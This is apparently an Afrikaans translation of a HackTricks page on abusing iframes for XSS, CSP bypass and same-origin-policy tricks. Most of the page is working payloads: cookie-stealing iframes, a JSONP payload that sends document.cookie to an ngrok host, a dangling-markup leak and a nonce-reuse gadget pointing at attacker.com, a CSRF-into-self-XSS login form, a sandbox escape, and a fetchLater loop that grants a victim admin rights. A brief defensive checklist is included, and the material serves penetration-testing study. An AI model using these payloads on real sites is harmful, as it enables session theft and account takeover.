Iframes in XSS, CSP en SOP

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Iframes in XSS

Daar is 3 maniere om die inhoud van ’n iframed bladsy aan te dui:

  • Via src wat ’n URL aandui (die URL kan cross origin of same origin wees)
  • Via src wat die inhoud aandui deur die data: protocol te gebruik
  • Via srcdoc wat die inhoud aandui

Toegang tot Parent- en Child-variabeles

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., die parent sal nie die secret var binne enige iframe kan bereik nie en slegs die iframes if2 & if3 (wat as same-site beskou word) kan die secret in die oorspronklike venster bereik.
Let daarop dat if4 as null origin beskou word.

srcdoc quirks that matter in real exploits

Twee besonderhede rondom srcdoc is maklik om te mis tydens exploitation:

  • Tensy die frame gesandbox is sonder allow-same-origin, is ’n srcdoc dokument same-origin with the parent. Daarom is die inspuiting van attacker-controlled HTML in srcdoc gewoonlik eenders aan om dit direkte DOM-toegang tot die top-dokument te gee.
  • Alhoewel die dokument URL about:srcdoc is, word relatiewe URL’s opgelos deur die embedding page URL as die base URL te gebruik. Dit beteken payloads soos <script src="/upload/payload.js"></script> of <img src="/internal/debug"> sal die parent origin teiken, nie about:srcdoc nie.

Praktiese payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Iframes met CSP

Tip

Neem asseblief kennis hoe in die volgende bypasses die respons na die iframed page geen CSP-header bevat wat JS-uitvoering verhoed nie.

Die self value of script-src sal nie die uitvoering van die JS code toelaat met die data: protocol of die srcdoc attribute nie.
Egter, selfs die none value of the CSP sal die uitvoering van die iframes toelaat wat ’n URL (complete or just the path) in die src attribute plaas.
Daarom is dit moontlik om die CSP van ’n bladsy te omseil met:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Let op hoe die vorige CSP slegs die uitvoering van die inline script toelaat.
Tog sal slegs if1 en if2 scripts uitgevoer word, maar slegs if1 sal toegang tot die ouer geheim hê.

Daarom is dit moontlik om ’n CSP te omseil as jy ’n JS-lêer na die server kan oplaai en dit via iframe laai selfs met script-src 'none'. Dit kan moontlik ook gedoen word deur ’n same-site JSONP endpoint te misbruik.

Jy kan dit toets met die volgende scenario waar ’n cookie gesteel word selfs met script-src 'none'. Voer net die toepassing uit en besoek dit met jou browser:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nuwe (2023–2025) CSP-omseil-tegnieke met iframes

Die navorsingsgemeenskap ontdek steeds kreatiewe maniere om iframes te misbruik om beperkende beleide te omseil. Hieronder vind jy die mees noemenswaardige tegnieke wat gedurende die afgelope paar jaar gepubliseer is:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Wanneer ’n toepassing HTML weerspieël maar ’n sterk CSP skripuitvoering blokkeer, kan jy steeds sensitiewe tokens lekeer deur ’n hangende <iframe name>-attribuut in te voeg. Sodra die gedeeltelike merkstelsel gepars word, navigeer die aanvallerskrip wat in ’n afsonderlike oorsprong hardloop die raam na about:blank en lees window.name, wat nou alles tot by die volgende aanhalingskarakter bevat (byvoorbeeld ’n CSRF token). Omdat geen JavaScript in die slagoffer se konteks loop nie, ontduik die aanval gewoonlik script-src 'none'. ’n Minimale PoC is:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces is vanaf die DOM deur same-origin-dokumente leesbaar. As ’n aanvaller ’n same-origin HTML-bladsy kan injekteer of oplaaI en dit in ’n iframe laai, kan die kindraam top.document.querySelector('[nonce]').nonce lees en nuwe <script nonce>-elemente skep. Dit verander ’n same-origin HTML-injeksie in volle skripuitvoering selfs onder strict-dynamic (omdat die nonce reeds vertrou word). Die volgende gadget eskaleer ’n merkstelsel-injeksie na XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – ’n Bladsy wat die form-action-direktief weglate kan sy loginvorm her-rig vanuit ’n ingeslote iframe of inline HTML sodat wagwoordbestuurders outo-invul en geloofsbriewe na ’n eksterne domein indien, selfs wanneer script-src 'none' teenwoordig is. Vul altyd default-src aan met form-action!

Verdedigingsnotas (kort kontrolelys)

  1. Stuur altyd al CSP-direktiewe wat sekondêre kontekste beheer (form-action, frame-src, child-src, object-src, etc.).
  2. Moet nie staatmaak dat nonces geheim is nie—gebruik strict-dynamic en elimineer injeksiepunte.
  3. Wanneer jy onvertroude dokumente moet insluit gebruik sandbox="allow-scripts allow-same-origin" uiters versigtig (of sonder allow-same-origin as jy net script execution isolation nodig het).
  4. Oorweeg ’n verdediging-in-diepte COOP+COEP-implementering; die nuwe <iframe credentialless>-attribuut (§ below) laat jou dit doen sonder om third-party embeds te breek.

Ander payloads wat in die wild gevind is

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Die inhoud binne ’n iframe kan aan addisionele beperkings onderwerp word deur gebruik van die sandbox-attribuut. Standaard word hierdie attribuut nie toegepas nie, wat beteken daar is geen beperkings in plek nie.

Wanneer dit gebruik word, plaas die sandbox-attribuut verskeie beperkings op:

  • Die inhoud word behandel asof dit van ’n unieke bron afkomstig is.
  • Enige poging om vorms in te stuur word geblokkeer.
  • Die uitvoering van skripte is verbode.
  • Toegang tot sekere APIs is gedeaktiveer.
  • Dit voorkom dat skakels met ander blaai-kontekste interaksie het.
  • Gebruik van plugins via <embed>, <object>, <applet>, of soortgelyke tags is nie toegelaat nie.
  • Die navigasie van die inhoud se topvlak-blaaikonteks deur die inhoud self word verhinder.
  • Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outo-fokus van vormkontroles, word geblokkeer.

Wenk: Moderne blaaier ondersteun fyngraad-vlagte soos allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, ens. Kombineer hulle om slegs die minimum vermoëns te gee wat deur die ingeslote toepassing benodig word.

Die attribuut se waarde kan leeg gelaat word (sandbox="") om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word as ’n spasies-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

As die ingeslote bladsy same-origin is en jy gee beide allow-scripts en allow-same-origin, word die sandbox ’n baie swak grens. Die ingeslote bladsy kan JavaScript uitvoer, toegang kry tot top.document, en selfs die sandbox-attribuut van sy eie <iframe>-element verwyder:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

In die praktyk moet sandbox="allow-scripts allow-same-origin" as onveilig vir deur ’n aanvaller beïnvloedde same-origin inhoud beskou word. Dit is steeds nuttig vir sekere derdeparty-embeds, maar dit is nie ’n isolasiegrens teen vyandige same-origin HTML nie.

Credentialless iframes

Soos verduidelik in this article, die credentialless vlag in ’n iframe word gebruik om ’n bladsy binne ’n iframe te laai sonder om credentials in die versoek te stuur terwyl die same origin policy (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN beskryf dit as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Gevolge vir aanvallers en verdedigers:

  • Skripte in verskillende credentialless iframes deel steeds die same top-level origin en kan vrylik via die DOM met mekaar kommunikeer, wat multi-iframe self-XSS-aanvalle haalbaar maak (sien PoC hieronder).
  • Aangesien die netwerk credential-stripped is, tree enige versoek binne die iframe effektief op as ’n nie-geauthentiseerde sessie – CSRF-beskermde endpunte misluk gewoonlik, maar publieke bladsye leakable via DOM bly steeds in bestek.
  • Berging word partitioned by a top-level document nonce: credentialless frames op dieselfde bladsy kan berging met mekaar deel, maar dit word uitgevee wanneer die top-level document verwyder word.
  • Pop-ups wat uit ’n credentialless iframe ontstaan kry ’n implisiete rel="noopener", wat sommige OAuth-flows breek.
  • Blaaiers behoort autofill/password managers binne credentialless iframes te deaktiveer, wat credential theft via autofill in hierdie kontekste beperk.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit voorbeeld: Self-XSS + CSRF

In hierdie aanval berei die attacker ’n kwaadwillige webblad voor met 2 iframes:

  • ’n iframe wat die victim se bladsy laai met die credentialless flag en ’n CSRF wat ’n XSS aktiveer (Stel jou ’n Self-XSS in die username van die user voor):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • ’n ander iframe wat werklik die user aangelog het (sonder die credentialless flag).

Dan, vanaf die XSS is dit moontlik om toegang tot die ander iframe te kry aangesien hulle dieselfde SOP het en byvoorbeeld die cookie te steel deur die volgende uit te voer:

alert(window.top[1].document.cookie);

fetchLater Aanval

Soos aangedui in this article stel die API fetchLater in staat om ’n request te konfigureer wat later uitgevoer sal word. Dit kan misbruik word om byvoorbeeld ’n slagoffer aan te meld binne ’n aanvaller se sessie (met Self-XSS), ’n fetchLater request te skeduleer (bv. om die wagwoord van die huidige gebruiker te verander), en uit te teken van die aanvaller se sessie. Wanneer die slagoffer daarna in hul eie sessie aanmeld, kan die uitgestelde request uitgevoer word met die cookies wat by die stuurtyd beskikbaar is, en so die slagoffer se wagwoord verander na die een wat deur die aanvaller gestel is.

Operasionele notas:

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.
  • The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
  • CSP enforcement uses connect-src (not script-src) for deferred requests.
  • Requests fire on page unload or when activateAfter expires (whichever happens first).
  • The maximum single delay is currently 299000 ms, so long waits require re-scheduling several deferred requests.

Op hierdie manier, selfs al kan die slagoffer-URL nie in ’n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds ’n request uitvoer in die slagoffer se sessie.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes in SOP

Kyk na die volgende bladsye:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks